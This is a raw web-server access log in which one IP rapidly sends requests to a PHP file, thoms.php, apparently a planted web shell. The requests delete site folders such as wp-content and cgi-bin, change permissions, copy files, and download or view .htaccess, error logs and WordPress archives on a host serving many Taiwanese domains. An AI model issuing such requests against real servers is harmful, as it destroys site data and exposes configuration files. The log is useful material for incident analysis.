45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=besth2o.com-20260912023731&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=betcity.com-20260912023741&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22663 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?copy=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?dl=-20260912023718.htaccess&p= HTTP/1.1" 200 22527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?p=biotaiwan.com-20260912023713 HTTP/1.1" 200 17569 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /bfl.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16553 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=upgrade-20260912023806&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=broadweb.com-20260912023716 HTTP/1.1" 200 17329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=mah-20260912023710.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=bfl.com-20260912023804&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?del=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=&view=mah-20260912023710.php HTTP/1.1" 200 11770 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?dl=thoms-20260912023711.php&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?copy=bfl.com-20260912023804&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22637 "https://163.245.207.76/bfl.com.tw/thoms.php?copy=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?copy=thoms-20260912023711.php&p= HTTP/1.1" 200 12417 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?p=betcity.com-20260912023741 HTTP/1.1" 200 17335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:12 -0400] "GET /bfl.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=bodbooks.com-20260912023809&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17556 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/bfl.com.tw/thoms.php?p=&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12417 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22652 "https://163.245.207.76/bfl.com.tw/thoms.php?copy=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=&view=thoms-20260912023711.php HTTP/1.1" 200 11772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/bfl.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?chmod=thoms-20260912023711.php&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=besth2o.com-20260912023731 HTTP/1.1" 200 17325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13954 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=mah-20260912023710.php&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22641 "https://163.245.207.76/bfl.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=bfl.com-20260912023804&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?del=broadweb.com-20260912023716&p= HTTP/1.1" 200 22650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:13 -0400] "GET /bfl.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22637 "https://163.245.207.76/bfl.com.tw/thoms.php?chmod=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=upgrade-20260912023806 HTTP/1.1" 200 13563 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/bfl.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=bodbooks.com-20260912023809 HTTP/1.1" 200 17330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
